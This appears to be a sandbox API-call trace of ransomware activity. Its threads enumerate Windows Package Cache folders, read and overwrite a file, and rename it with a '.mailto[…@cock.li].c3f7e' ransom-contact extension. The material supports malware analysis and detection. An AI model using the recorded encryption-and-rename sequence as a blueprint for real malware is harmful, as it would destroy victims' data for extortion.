	[0092.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dda848) returned 1
	[0092.428] FindNextFileW (in: hFindFile=0x2d87478, lpFindFileData=0x2e25248 | out: lpFindFileData=0x2e25248*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.428] FindClose (in: hFindFile=0x2d87478 | out: hFindFile=0x2d87478) returned 1
	[0092.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e25248) returned 1
	[0092.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0092.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f508) returned 1

Thread:
	id = 331
	os_tid = 0x1454

	[0076.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d79000
	[0076.874] wcscpy (in: _Dest=0x2d79000, _Source="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0076.874] wcscat (in: _Dest=0x2d79000, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\"
	[0076.874] wcscat (in: _Dest=0x2d79000, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*"
	[0076.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e254b0
	[0076.874] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x2e254b0 | out: lpFindFileData=0x2e254b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87bf8
	[0080.035] wcscmp (_String1=".", _String2=".") returned 0
	[0080.035] FindNextFileW (in: hFindFile=0x2d87bf8, lpFindFileData=0x2e254b0 | out: lpFindFileData=0x2e254b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.035] wcscmp (_String1="..", _String2=".") returned 1
	[0080.035] wcscmp (_String1="..", _String2="..") returned 0
	[0080.035] FindNextFileW (in: hFindFile=0x2d87bf8, lpFindFileData=0x2e254b0 | out: lpFindFileData=0x2e254b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3639a1f2, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0080.035] wcscmp (_String1="state.rsm", _String2=".") returned 1
	[0080.035] wcscmp (_String1="state.rsm", _String2="..") returned 1
	[0080.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4986668
	[0080.035] wcscpy (in: _Dest=0x4986668, _Source="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0080.035] wcscat (in: _Dest=0x4986668, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\"
	[0080.035] wcscat (in: _Dest=0x4986668, _Source="state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"
	[0091.981] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm")) returned 0x20
	[0091.982] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", dwFileAttributes=0x20) returned 1
	[0091.982] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa54
	[0091.983] GetFileSizeEx (in: hFile=0xa54, lpFileSize=0xe63fdd0 | out: lpFileSize=0xe63fdd0*=638) returned 1
	[0091.983] SetFilePointerEx (in: hFile=0xa54, liDistanceToMove=0x27a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.983] ReadFile (in: hFile=0xa54, lpBuffer=0xe63fd54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe63fd50, lpOverlapped=0x0 | out: lpBuffer=0xe63fd54*, lpNumberOfBytesRead=0xe63fd50*=0x4, lpOverlapped=0x0) returned 1
	[0091.984] SetFilePointerEx (in: hFile=0xa54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.984] NtQuerySystemTime (in: CurrentTime=0xe63fd30 | out: CurrentTime=0xe63fd30*=132251868187284327) returned 0x0
	[0091.984] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xdda3e9b
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xd595021a
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x64f3173f
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x55ec9894
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xa7ee63f2
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xd344d317
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xf97b09e0
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xf6c0f0ec
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x4a43c61d
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x1a55ab
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x4b96c77
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x1adf5330
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xa31d2e97
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xdfbc08a
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x421b8860
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x3f5550a0
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x826cfd1a
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xe727fb3e
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x47396d03
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x51e45bff
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xac03f07f
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xb71a467
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xa9c4e54f
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x616438ea
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x46243008
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x9d6d7521
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x4a99a404
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xa551b380
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x2e96b145
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x31117d3b
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0x9f8cfc39
	[0091.985] RtlRandom (in: Seed=0xe63fd3c | out: Seed=0xe63fd3c) returned 0xbc901098
	[0091.993] ReadFile (in: hFile=0xa54, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0xe63fd2c, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0xe63fd2c*=0x27e, lpOverlapped=0x0) returned 1
	[0091.994] SetFilePointerEx (in: hFile=0xa54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.994] WriteFile (in: hFile=0xa54, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0xe63fd28, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0xe63fd28*=0x27e, lpOverlapped=0x0) returned 1
	[0091.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0091.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0091.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x4731920
	[0091.996] SetFilePointerEx (in: hFile=0xa54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.996] WriteFile (in: hFile=0xa54, lpBuffer=0x47168b0*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xe63fd90, lpOverlapped=0x0 | out: lpBuffer=0x47168b0*, lpNumberOfBytesWritten=0xe63fd90*=0x103, lpOverlapped=0x0) returned 1
	[0092.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47168b0) returned 1
	[0092.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0092.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0092.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0092.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0092.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0092.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0092.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0092.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491e708
	[0092.002] wcscpy (in: _Dest=0x491e708, _Source="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"
	[0092.002] wcscat (in: _Dest=0x491e708, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.002] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xe63fd48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778260
	[0092.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0092.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c6c0) returned 1
	[0092.007] NtQueryInformationFile (in: FileHandle=0xa54, IoStatusBlock=0xe63fd54, FileInformation=0xe63fd2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe63fd54, FileInformation=0xe63fd2c) returned 0x0
	[0092.007] NtSetInformationFile (FileHandle=0xa54, IoStatusBlock=0xe63fd54, FileInformation=0xe63fd2c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e708) returned 1
	[0092.008] FlushFileBuffers (hFile=0xa54) returned 1
	[0093.276] CloseHandle (hObject=0xa54) 

Thread:
	id = 332
	os_tid = 0x1458

	[0076.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61f20
	[0076.875] wcscpy (in: _Dest=0x2d61f20, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0076.875] wcscat (in: _Dest=0x2d61f20, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\"
	[0076.875] wcscat (in: _Dest=0x2d61f20, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*"
	[0076.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e260b8
	[0076.875] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x2e260b8 | out: lpFindFileData=0x2e260b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87238
	[0079.939] wcscmp (_String1=".", _String2=".") returned 0
	[0079.939] FindNextFileW (in: hFindFile=0x2d87238, lpFindFileData=0x2e260b8 | out: lpFindFileData=0x2e260b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.939] wcscmp (_String1="..", _String2=".") returned 1
	[0079.939] wcscmp (_String1="..", _String2="..") returned 0
	[0079.939] FindNextFileW (in: hFindFile=0x2d87238, lpFindFileData=0x2e260b8 | out: lpFindFileData=0x2e260b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.939] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.939] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x476a928
	[0079.939] wcscpy (in: _Dest=0x476a928, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0079.939] wcscat (in: _Dest=0x476a928, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\"
	[0079.939] wcscat (in: _Dest=0x476a928, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0092.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2c960
	[0092.443] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0092.443] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\"
	[0092.443] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*"
	[0092.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0092.443] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.443] wcscmp (_String1=".", _String2=".") returned 0
	[0092.443] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.443] wcscmp (_String1="..", _String2=".") returned 1
	[0092.443] wcscmp (_String1="..", _String2="..") returned 0
	[0092.443] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.443] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1
	[0092.443] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1
	[0092.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33478
	[0092.443] wcscpy (in: _Dest=0x4e33478, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0092.443] wcscat (in: _Dest=0x4e33478, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\"
	[0092.443] wcscat (in: _Dest=0x4e33478, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0092.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e33390
	[0092.444] wcscpy (in: _Dest=0x4e33390, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0092.444] wcscat (in: _Dest=0x4e33390, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\"
	[0092.444] wcscat (in: _Dest=0x4e33390, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*"
	[0092.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.444] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.444] wcscmp (_String1=".", _String2=".") returned 0
	[0092.444] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.444] wcscmp (_String1="..", _String2=".") returned 1
